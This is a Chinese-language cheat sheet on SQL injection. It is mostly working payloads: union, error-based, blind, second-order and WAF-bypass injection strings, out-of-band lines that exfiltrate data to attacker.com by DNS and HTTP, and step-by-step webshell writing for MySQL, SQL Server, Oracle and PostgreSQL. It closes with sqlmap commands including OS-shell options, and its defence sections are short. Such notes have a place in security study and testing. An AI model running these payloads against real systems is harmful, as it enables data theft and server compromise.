SQL注入总结
原理
SQL注入的根本原因在于应用程序将用户输入的数据“拼接”到了SQL查询语句中,并把这些输入当作了SQL代码的一部分来执行。
分类
-
联合注入
union注入 使用
UNION
操作符将一个恶意的查询结果附加到正常的查询结果后面,一次性地将敏感数据“带”出来,显示在页面上。注入攻击流程:
#发现列数量 1' ORDER BY 1-- //依次递增直到发生异常,前一列就是目标(3报错目标就是2),假设这里是2 #判断回显列 1' union select 1,2 -- //这里假设两个都回显 #查当前数据库名 1' union select null,database() -- //假设数据库叫DB #查表名 1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema = 'DB' -- //假设目标表名叫user #查目标列名 1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name = 'user' AND table_schema = 'DB' -- //假设目标列名为username,password #查数据 1' UNION SELECT username, password FROM DB.user --
-
报错注入
利用数据库的出错信息来获取敏感数据。攻击者构造非法的SQL,让数据库返回的错误信息中包含他想要的数据。
报错函数:ExtractValue,updatexml,floor()语句
-
ExtractValue
工作原理:从第一个参数(XML片段)中,使用第二个参数(XPath路径)来查询具体的值。
报错原理:如果第二个参数(XPath路径表达式)不符合XPath格式规范,MySQL就会在错误信息中抛出这个不合法的XPath字符串。
制造错误的方法: 在XPath中,
~
、^
、!
等字符是非法开头的。最常用0x7e
(即~
符号的十六进制)来作为一个非法XPath的开头。常用payload:
1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) //这里第二个参数其实就是 ~DB~ 并且在1里面查,肯定报错了,抛出~DB~
注意点:ExtractValue的报错返回字符串长度最大为32,所以如果查的数据太长时需要使用
substr()
或limit
分次截取。substr(str, pos, len)
:str
:要处理的字符串pos
:起始位置(从 1 开始)len
:截取长度
LIMIT offset, count
:LIMIT 0,1
→ 从第 0 行开始,取 1 行
注出表名的payload:
1 AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) 1 AND extractvalue(1, concat(0x7e, substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 31))) GROUP_CONCAT():作用是将查到的表名连成字符串
-
UpdateXML
工作原理:UpdateXML(xml_target, xpath_expr, new_xml),将
xml_target
中匹配xpath_expr
的部分替换为new_xml
报错原理:和
ExtractValue()
完全一样:如果第二个参数(XPath路径表达式)不符合XPath格式,MySQL就会在错误信息中抛出这个非法字符串。常用payload:
1 AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
-
Floor() + count() + group by
利用了数据库主键重复的错误。通常被称为“双查询注入”或“分组报错注入”。
payload:
1 AND (SELECT 1 FROM (SELECT count(*), concat((SELECT database()), 0x7e, floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x) AS y)
分解payload:
(SELECT database())
:结果为my_database
。floor(rand(0)*2)
:rand(0)
产生一个固定的随机序列(如 0.7, 0.4, 0.3, …),*2
后范围是 (0, 2),floor()
取整后,结果序列是1, 0, 1, 1, 0, ...
。这个不确定的结果是触发错误的关键。concat(..., 0x7e, floor(rand(0)*2)
:假设第一次执行结果是concat('my_database', '~', 1) = 'my_database~1'
。... AS x FROM ... GROUP BY x
:告诉数据库按x
字段(即my_database~1
,my_database~0
这样的值)进行分组统计。- 数据库在构建临时表处理
GROUP BY
时,由于rand(0)
值的不确定性,导致了上述的主键重复错误。 - 报错信息类似于:
Duplicate entry 'my_database~1' for key 'group_key'
- 目标数据
my_database
再次成功回显。
此方法通常没有32位的长度限制,可以一次性爆出更长的字符串。
-
- 盲注
-
时间盲注 页面无论查询成功与否,返回的页面都完全一样。通过构造带有
SLEEP()
或BENCHMARK()
等延迟函数的SQL语句,根据服务器的响应时间长短来判断查询是否成功执行。函数:sleep(),benchmark()
sleep(n):传入的n是多少延时多少秒
1 AND IF( (SELECT SUBSTRING(version(),1,1)) = '5', SLEEP(5), 0)
benchmark(count, expr):重复执行表达式
expr
共count
次1 AND IF( (SELECT SUBSTRING(version(),1,1)) = '5', BENCHMARK(5000000, MD5('a')), 0)
-
布尔盲注
页面不会返回详细错误或查询结果,只会根据查询成功与否返回两种不同的状态(例如“登录成功”/“登录失败”或“页面存在”/“页面不存在”或页面回显长度等等)。通过构造SQL,一次猜一个字符,根据页面的不同反应来判断猜测是否正确。
1' AND ASCII(SUBSTR(database(),1,1))=116 -- //判断数据库第一个字母是否为t,其余类推 1' AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' -- //判断第一个表的第一个字母是否为u 。。。。剩下的就和上面写的核心是一样的
常用的函数:
LENGTH(str)
→ 获取长度SUBSTR(str,pos,len)
→ 截取子串ASCII(char)
→ 转换为 ASCIICOUNT(*)
→ 获取数量LIMIT offset, count
→ 定位某一条数据
-
- 二次注入与带外注入
-
二次注入
简单说就是第一次注入的时候是参数化查询啥的没执行到恶意的SQL然后将这段数据插入到了数据库,在另外的一个地方对这个数据进行数据库操作了,这里没进行过滤等机制,直接就执行了恶意的SQL。
注册用户名:admin' -- 修改密码:UPDATE users SET password = 'newpass' WHERE username = 'admin' -- '
-
带外注入
需要数据库服务器能够发起出站网络请求(DNS, HTTP, SMB等)。
原理就是借助目标数据库直接发起网络请求
-
DNS
MySql: ... AND LOAD_FILE(CONCAT('\\\\', (SELECT user FROM mysql.user LIMIT 0,1), '.attacker.com\\a')) //数据库借助 LOAD_FILE() 直接访问目标服务器, //这时发起的DNS请求的域名就是 查到的用户名.attacker.com SQL Server: ...; EXEC master..xp_dirtree ('\\databasename.attacker.com\a'); -- 或者利用变量 DECLARE @data varchar(1024); SELECT @data = (SELECT DB_NAME()); EXEC ('master..xp_dirtree ''\\' + @data + '.attacker.com\a''');
-
Http
Oracle: ... AND UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual)) IS NOT NULL //查看Web服务器的访问日志,就能看到包含数据的URL SQL Server: 使用xp_cmdshell执行命令行工具(如curl或powershell)来发送HTTP请求, 但是要求权限太高了需要sa用户
-
-
绕过手法
-
通用手法
1. 注释符绕过 -- (注意末尾空格) # /**/ (最常用,常用于代替空格) /*! ... */ (内联注释,MySQL特有,其中的代码会被执行) /*!50000select*/ user() : 在MySQL版本>=5.00.00时执行其中的语句。 /*!xxxx*/ 版本号注释 2. 大小写双写 SeLEcT UnIoN sELecT -> 如果过滤是select,则双写:selselectect 3. 编码绕过 字符串换为16进制 URL编码关键词(get传参双重编码) CHAR()函数->SELECT CHAR(97, 98, 99) -> ‘abc’ 4. 等价函数变量替换 database() <-> schema() substr() <-> substring() <-> mid() <-> left() ascii() <-> hex() <-> bin() <-> ord() sleep() <-> benchmark(10000000, md5('test')) (通过大量运算实现延时) @@version <-> version() 5. 特殊字符绕过空格 %09 (TAB) %0a (换行) %0b (垂直TAB) %0c (换页) %0d (回车) /**/ () 括号:union(select(1),2,3) 6. 缓冲区溢出 比如: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..... 再拼接恶意SQL
-
分类绕过
1. 联合注入 Order by -> 1′ group by 1,2,3,4# 数据类型不匹配时;也就是说代码里面写的是查数字型但是SQL写的传入的字符型就会报错, 这个时候可以将列的占位换位null或者十进制十六进制的数字 2. 报错注入 报错函数被禁时考虑替换为几何函数: geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring() ST_LatFromGeoHash() (MySQL >= 5.7) ST_LongFromGeoHash() (MySQL >= 5.7) 1′ AND ST_LatFromGeoHash(concat(0x7e,(select database()),0x7e)) 1′ AND multipoint((select * from (select * from (select version())a)b)) 数据溢出:exp()(指数函数),一个大数参数会导致DOUBLE value is out of range错误 1′ AND exp(~(select * from (select version())a)) 3. 布尔盲注 if() 被过滤:case when ... then ... else ... end 1′ and case when (ascii(substr(database(),1,1))>100) then sleep(2) else 0 end and/or被过滤: 使用&& 和 || (需URL编码为%26%26和%7c%7c) 使用^ (异或) 进行逻辑判断: 1′ ^ (ascii(substr(database(),1,1))>100)^0 4. 时间盲注 笛卡尔积延时:海量查询大量计算 1' AND IF((ascii(substr(database(),1,1)) > 100), (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C), 0) //ABC可以都换为information_schema.columns GET_LOCK() 竞争延时:死锁等待,需要两个数据库连接 占锁: 1' AND GET_LOCK('my_lock', 10) //锁的名字,随便 盲注测试: 1' AND IF((ascii(substr(database(),1,1)) > 100), GET_LOCK('my_lock', 10), 0) RLIKE / REGEXP 延时:复杂表达式达成大量计算 1' AND IF((ascii(substr(database(),1,1)) > 100), (SELECT RPAD('a',5000,'a') RLIKE '(a.*)*b'), 0)
防御
- 参数化查询:MyBatis中的#{…}(动态化查询不能使用参数化查询)
- 输入过滤
- 最小权限原则
- 关闭报错信息
- 增加WAF
获取shell的方法
基本所有的方法都需要以下条件:
- 足够高的数据库权限:
- MySQL:
FILE
权限,甚至SUPER
权限或root
用户。 - MSSQL:
sysadmin
服务器角色。 - Oracle:
DBA
角色,以及对UTL_FILE
、JAVA
等包的执行权限。
- MySQL:
- Web目录绝对路径:写入Webshell的基础。可通过报错、漏洞探测、配置文件等获取。
- 对Web目录的写权限:数据库进程运行账户必须对目标Web目录有写入权限。
- 特定的数据库配置:
- MySQL:
secure_file_priv
设置必须允许向目标路径导出文件。 - MSSQL: 相关存储过程(如
xp_cmdshell
,Ole Automation Procedures
)可能需手动开启。
- MySQL:
- MySql
-
INTO OUTFILE/DUMPFILE 写入
要求:
FILE
权限(通过SELECT user, file_priv FROM mysql.user
查询),secure_file_priv为空,绝对路径-- 写入一个最简单的PHP Webshell SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'; -- 在联合注入中使用,需要确定列数 UNION SELECT 1, '<?php system($_GET["c"]);?>', 3 INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php'-- - -- 使用DUMPFILE(适用于写入二进制文件,或避免写入内容被转义/换行) SELECT '<?php system($_GET[“c”]);?>' INTO DUMPFILE 'D:/www/shell.php';
-
日志写shell
要求:管理员权限
1. 查看当前日志配置:SHOW VARIABLES LIKE '%general%’; 2. 开启通用日志并设置日志路径为Web目录 SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; 3. 执行一条“查询”,其内容就是Webshell代码 SELECT '<?php @eval($_POST[“a”]);?>';
-
UDF提权
利用MySQL的可扩展性,创建一个可以执行系统命令的自定义函数(UDF),然后通过调用这个函数来实现任意命令执行,从而提权。
要求:
过程复杂建议使用工具:https://github.com/AgeloVito/MDAT
-
- SQL server
-
xp_cmdshell
条件:默认关闭,需要sysadmin权限开启
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; -- 一键写入Webshell EXEC xp_cmdshell 'echo ^<?php @eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.php';
-
sp_oacreate
原理:利用OLE自动化存储过程 (
sp_oacreate
) 调用文件系统对象来写文件。条件:需要先启用
Ole Automation Procedures
DECLARE @o INT, @f INT, @t INT, @ret INT; EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT; EXEC sp_oamethod @o, 'CreateTextFile', @f OUT, 'C:\www\shell.asp', 1; EXEC sp_oamethod @f, 'Write', @ret OUT, '<% ExecuteGlobal(Request("cmd")) %>'; EXEC sp_oamethod @f, 'Close'; EXEC sp_oadestroy @f; EXEC sp_oadestroy @o;
-
- Oracle
-
UTL_FILE 原理:使用
UTL_FILE
包向服务器文件系统写文件。要求:需要预先配置允许写入的目录对象,并且用户有对该目录对象的写权限。
DECLARE f UTL_FILE.FILE_TYPE; BEGIN f := UTL_FILE.FOPEN('WEBDIR', 'shell.jsp', 'W'); -- WEBDIR为目录对象 UTL_FILE.PUT_LINE(f, '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'); UTL_FILE.FCLOSE(f); END;
-
Java代码执行
要求:用户具有
CREATE SESSION
的权限
-
- PostgreSQL
-
COPY TO
类似于MySql的
INTO OUTFILE
要求:需要超级用户权限
COPY (SELECT '<?php system($_GET["c"]);?>') TO '/var/www/html/shell.php';
-
大对象导出 原理:将Webshell代码作为大对象写入数据库,再将其导出到文件。
SELECT lo_export(lo_create(0), '/tmp/shell.php'); UPDATE pg_largeobject SET data = convert_to('<?php system($_GET["c"]);?>', 'UTF-8') WHERE loid = 12345; -- 先写入数据再导出
-
GetShell防御
- 根本措施:预编译(参数化查询):杜绝SQL注入的发生,从源头上切断所有可能性。
- 最小权限原则:
- 数据库用户:严格限制权限,禁止授予
FILE
、sysadmin
、DBA
等不必要的权限。 - 运行账户:为数据库服务分配低权限运行账户,严格控制其对Web目录的写权限。
- 数据库用户:严格限制权限,禁止授予
- 安全加固配置:
- MySQL: 设置
secure_file_priv=NULL
或指定一个非Web的安全路径。 - MSSQL: 禁用
xp_cmdshell
、Ole Automation Procedures
等危险组件。 - 定期更新数据库版本,修补已知安全漏洞。
- MySQL: 设置
- 输入验证与过滤:对用户输入进行严格的类型、长度、格式检查。
- 纵深防御:
- 部署WAF(Web应用防火墙)拦截攻击Payload。
- 对服务器进行严格的文件权限控制。
- 对数据库操作进行审计日志记录,便于追踪和发现攻击行为。
SQLMap常用命令
功能类别 | 命令选项 | 说明 |
---|---|---|
目标设置 | -u "URL" |
指定目标URL进行测试 |
--data="POST数据" |
指定POST请求的数据 | |
--cookie="Cookie值" |
设置Cookie值 | |
-r <文件> |
从HTTP请求文件中加载目标 | |
请求设置 | --random-agent |
使用随机的User-Agent头 |
--proxy="代理地址" |
使用代理服务器 | |
--delay=延迟秒数 |
设置请求之间的延迟 | |
注入设置 | -p "参数" |
指定要测试的参数 |
--dbms="数据库类型" |
指定后端DBMS类型(如MySQL、Oracle等) | |
--level=级别(1-5) |
测试等级 | |
--risk=风险(0-3) |
测试风险级别 | |
--tamper="篡改脚本" |
使用脚本绕过WAF/IDS | |
检测技术 | --technique=技术字母 |
指定注入技术(B:布尔盲注, T:时间盲注, E:报错注入, U:联合查询, S:堆查询) |
枚举信息 | --current-db |
获取当前数据库名称 |
--dbs |
枚举数据库管理系统数据库 | |
-D 数据库名 --tables |
枚举指定数据库中的表 | |
-D 数据库名 -T 表名 --columns |
枚举指定表的列 | |
-D 数据库名 -T 表名 -C "列1,列2" --dump |
导出指定列的数据 | |
文件操作 | --file-read="服务器文件路径" |
读取服务器上的文件 |
--file-write="本地文件" --file-dest="服务器路径" |
上传本地文件到服务器 | |
OS交互 | --os-shell |
尝试获取一个交互式的操作系统shell |
--os-cmd="命令" |
执行一条操作系统命令 | |
通用选项 | --batch |
以非交互模式运行,所有操作使用默认确认 |
-v <级别(0-6)> |
详细输出级别 |